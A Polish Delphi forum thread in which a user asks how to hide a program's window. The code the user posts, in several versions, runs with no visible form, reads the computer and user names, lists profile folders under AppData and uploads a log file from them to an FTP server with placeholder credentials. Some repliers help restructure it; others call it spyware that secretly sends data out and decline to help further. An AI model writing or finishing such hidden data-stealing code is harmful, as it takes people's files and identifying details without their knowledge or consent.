Witam all mam taki problem!
Poniewaz aby ukryc formularz uzylem procedury:
Application.showmainform := False;
no oki wszystko pieknie ale gdy forma się ukrywa - program przestaje działać..
dodanie znacznika <code class="delphi"> - fp
Wątek przeniesiony 2014-02-04 15:40 z Delphi i Pascal przez flowCRANE.
Witam all mam taki problem!
Poniewaz aby ukryc formularz uzylem procedury:
Application.showmainform := False;
no oki wszystko pieknie ale gdy forma się ukrywa - program przestaje działać..
dodanie znacznika <code class="delphi"> - fp
@dima0909x: na pewno kończy działanie, a nie jest tak, że "wisi" pod IDE do czasu ubicia? Najlepiej było by coś napisać więcej o programie, pokazać jakiś kod. Bo wróżbita Maciej to nie tutaj urzęduje.
dima0909x napisał(a)
no oki wszystko pieknie ale gdy forma się ukrywa - program przestaje działać..
A na jakiej podstawie sądzisz, że przestaje działać? Musisz podać więcej informacji, bo z tych obecnych (i bez kodu) niewiele można wywnioskować.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdFTP, StdCtrls;
type
TForm1 = class(TForm)
ListBox1: TListBox;
Memo1: TMemo;
IdFTP1: TIdFTP;
procedure FormActivate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.FormActivate(Sender: TObject);
var
WDir : array[0..MAX_PATH] of char;
literka:String;
buffer: array[0..255] of char;
BufferSize : DWord;
UserName : string;
ComputerName : string;
CurrData: String;
sciezka: String;
SR: TSearchRec;
Fik : Integer;
begin
GetWindowsDirectory(WDir, SizeOf(WDir));
if Pos('Windows', WDir) > 0 then
literka:=stringreplace(WDir,':\Windows','',[rfReplaceAll]);
//sprawdza sciezke windowsa a nastepnie pozostawia wylacznie literke dysku
BufferSize:=256;
if GetComputerName(buffer, BufferSize) then begin
ComputerName:= buffer;
end else begin
ComputerName:='BrakNazwyHosta';
end;
BufferSize:=255;
SetLength(UserName,BufferSize) ;
if GetUserName(PChar(UserName), BufferSize) then begin
UserName := Copy(UserName,1,BufferSize - 1)
end else begin
UserName := 'BrakNazwyUzytkownika';
end;
sciezka := literka+':\Users\'+UserName+'\AppData\Roaming\Profiles\';
Fik := FindFirst( sciezka + '\*.datafolder', faAnyFile, SR);
while (Fik = 0) do
begin
listbox1.items.add(sciezka+sr.Name);
Fik := FindNext(SR);
end;
FindClose(SR);
memo1.lines:=listbox1.items;
CurrData := '';
idFTP1.Host := 'ftp.link';
idFTP1.Username := 'user';
idFTP1.Password := 'pass';
IdFTP1.Port:= 21;
idFTP1.Connect();
CurrData := FormatDateTime('dd-mm-yyyy_hh_nn_ss', Now);
IdFTP1.MakeDir(UserName+'_'+'_'+ComputerName+'_'+CurrData);
IdFTP1.ChangeDir(UserName+'_'+'_'+ComputerName+'_'+CurrData);
idFTP1.Put (memo1.lines[0]+'\1.log','1.log');
idFTP1.Disconnect();
end;
end.
_13th_Dragon napisał(a):
Wywal to wszystko z formy, nie twórz żadnej formy, wstaw to bezpośrednio tam gdzie masz stworzenie formy.
Project -> Pokaż Źródło.
nie wiem czy dobrze zrozumiałem , ale o coś takiego chodzilo?
program Project1;
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdFTP, StdCtrls;
{$R *.res}
var
WDir : array[0..MAX_PATH] of char;
literka:String;
buffer: array[0..255] of char;
BufferSize : DWord;
UserName : string;
ComputerName : string;
CurrData: String;
sciezka: String;
SR: TSearchRec;
Fik : Integer;
begin
Application.Initialize;
begin
GetWindowsDirectory(WDir, SizeOf(WDir));
if Pos('Windows', WDir) > 0 then
literka:=stringreplace(WDir,':\Windows','',[rfReplaceAll]);
//sprawdza sciezke windowsa a nastepnie pozostawia wylacznie literke dysku
BufferSize:=256;
if GetComputerName(buffer, BufferSize) then begin
ComputerName:= buffer;
end else begin
ComputerName:='BrakNazwyHosta';
end;
BufferSize:=255;
SetLength(UserName,BufferSize) ;
if GetUserName(PChar(UserName), BufferSize) then begin
UserName := Copy(UserName,1,BufferSize - 1)
end else begin
UserName := 'BrakNazwyUzytkownika';
end;
sciezka := literka+':\Users\'+UserName+'\AppData\Roaming\Profiles\';
Fik := FindFirst( sciezka + '\*.datafolder', faAnyFile, SR);
while (Fik = 0) do
begin
listbox1.items.add(sciezka+sr.Name);
Fik := FindNext(SR);
end;
FindClose(SR);
memo1.lines:=listbox1.items;
CurrData := '';
idFTP1.Host := 'ftp.link';
idFTP1.Username := 'user';
idFTP1.Password := 'pass';
IdFTP1.Port:= 21;
idFTP1.Connect();
CurrData := FormatDateTime('dd-mm-yyyy_hh_nn_ss', Now);
IdFTP1.MakeDir(UserName+'_'+'_'+ComputerName+'_'+CurrData);
IdFTP1.ChangeDir(UserName+'_'+'_'+ComputerName+'_'+CurrData);
idFTP1.Put (memo1.lines[0]+'\1.log','1.log');
idFTP1.Disconnect();
end;
Application.Run;
end.
a jak dodać teraz Indy Client, memo i listbox? bo na formie to mialem, a po jej usunięciu brak tych bibliotek jest teraz
[Error] Undeclared identifier: 'listbox1'
[Error] Undeclared identifier: 'memo1'
[Error] Undeclared identifier: 'idFTP1'
_13th_Dragon napisał(a):
IdFTP1 musisz stworzyć ręcznie, zaś memo1 i listbox1 zamienić na TStringList
w jaki sposob stworzyc ręcznie IdFTP1 ?
Najłatwiej (bez wielu zmian) byłoby w pierwotnym kodzie zamienić zdarzenie OnActivate na OnFormCreate, ale jak formularz nie jest ci do niczego potrzebny a jest tylko "workiem" na niewizualne komponenty to skorzystaj z propozycji @_13th_Dragon Choć w takim programie pewnie zależy ci bardziej na tym żeby działał niż był dobrze napisany. Dodatkowo zapisanie hasła do konta FTP w programie to fatalny pomysł. Każdy początkujący "cracker" może wejść na twoje konto FTP i robić z nim co chce. Nie zamierzam bardziej przykładać ręki do powstawania jakiegoś syfiarstwa jakie mierne by to nie było.
program Project2;
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdFTP, StdCtrls;
{$R *.res}
var
IdFTP1:TIdFTP;
IdFTP1:=TIdFTP.Create(Application);
WDir : array[0..MAX_PATH] of char;
literka:String;
buffer: array[0..255] of char;
BufferSize : DWord;
hh:TStringList ;
UserName : string;
ComputerName : string;
CurrData: String;
sciezka: String;
SR: TSearchRec;
Fik : Integer;
begin
Application.Initialize;
begin
GetWindowsDirectory(WDir, SizeOf(WDir));
if Pos('Windows', WDir) > 0 then
literka:=stringreplace(WDir,':\Windows','',[rfReplaceAll]);
//sprawdza sciezke windowsa a nastepnie pozostawia wylacznie literke dysku
BufferSize:=256;
if GetComputerName(buffer, BufferSize) then begin
ComputerName:= buffer;
end else begin
ComputerName:='BrakNazwyHosta';
end;
BufferSize:=255;
SetLength(UserName,BufferSize) ;
if GetUserName(PChar(UserName), BufferSize) then begin
UserName := Copy(UserName,1,BufferSize - 1)
end else begin
UserName := 'BrakNazwyUzytkownika';
end;
sciezka := literka+':\Users\'+UserName+'\AppData\Roaming\Profiles\';
Fik := FindFirst( sciezka + '\*.datafolder', faAnyFile, SR);
while (Fik = 0) do
begin
hh.add(sciezka+sr.Name);
Fik := FindNext(SR);
end;
FindClose(SR);
CurrData := '';
idFTP1.Host := 'ftp.link';
idFTP1.Username := 'user';
idFTP1.Password := 'pass';
IdFTP1.Port:= 21;
idFTP1.Connect();
CurrData := FormatDateTime('dd-mm-yyyy_hh_nn_ss', Now);
IdFTP1.MakeDir(UserName+'_'+'_'+ComputerName+'_'+CurrData);
IdFTP1.ChangeDir(UserName+'_'+'_'+ComputerName+'_'+CurrData);
idFTP1.Put (hh[0]+'\1.log','1.log');
idFTP1.Disconnect();
end;
Application.Run;
end.
takie błędy powstały:
@dima0909x - przecież Ty jeszcze nie znasz podstaw programowania w Delphi, a już bierzesz się za aplikacje okienkowe, i to w dodatku za takie nietypowe; Choć mnie ten cały program wygląda jak jakieś dziadostwo chowające się przed użytkownikiem i bez jego wiedzy wysyłające dane na serwer FTP to wątek nie wyląduje w koszu, dlatego że co do zamiarów użycia programu nie jestem pewien;
Nie znasz dobrze podstaw Delphi, nie czytasz błędów kompilacji i nie starasz się ich zrozumieć, a co najgorsze nie zastanawiasz się co z tym kodem jest nie tak, że nawet się skompilować nie chce; Zamiast główkować samemu to pierwsze co dopisujesz posty; W kodzie masz pełno błędów, on sam jest niedbale napisany z randomowymi wcięciami i zbędnymi blokami Begin End; Nie staraj się ich naprawić, tylko zrozumieć; Jedyną w tym drogą jest zapoznanie się z materiałami opisującymi podstawy programowania w Delphi;
Tymczasem wątek przenoszę do działu Newbie, bo dotyczy niestety braku znajomości podstaw programowania.
@dima0909x: przecież podałem Tobie po prośbie na PM jak mozna wyciągnąc ściezkę do %AppData%
. I to nie ze zmiennych środowiskowych tylko z funkcji, z modułu ShlObj
. Tymczasem w Twoim kodzie widze niezłe herezje. Sćieżki "na sztywno". Ok, piszesz pod kątem swojego komputera czy systemu i po swojemu za pewne. Ale jak już coś robić to robić dobrze i uniwersalnie.
Zastanów się co się stanie jeżeli przypadkiem ktoś będzie miał starszy system albo instalował Windows ze zmodyfikowanej instalki lub inne cuda. I będzie miał Windowsa w podkatalogu na przykład \WIRUS\
? Albo pod Hiren Boot CD lub czymś podobnym, zmieni sobie wielkośc liter katalogu. Twoja zmienna Literka
będzie miała coś czego nie oczekujesz. Przecież masz moduł SysUtils
. Posiada on funkcje ExtractFileDrive
. Piszesz pod VCL to używaj wszystkich dobrodziejstw jakie one za soba niesie. Co Do pozostałych błędów. Dodaj co trzeba do sekcji uses, to na pewno zobaczy komponenty Indy. Reszty nie analizuje. Jednak radzę na prawdę poczytasz kurs. Dzieki nim poznasz podstawy i nie będziesz wklejał kodu "na pałę" oraz rozumiał błedy kompilacji.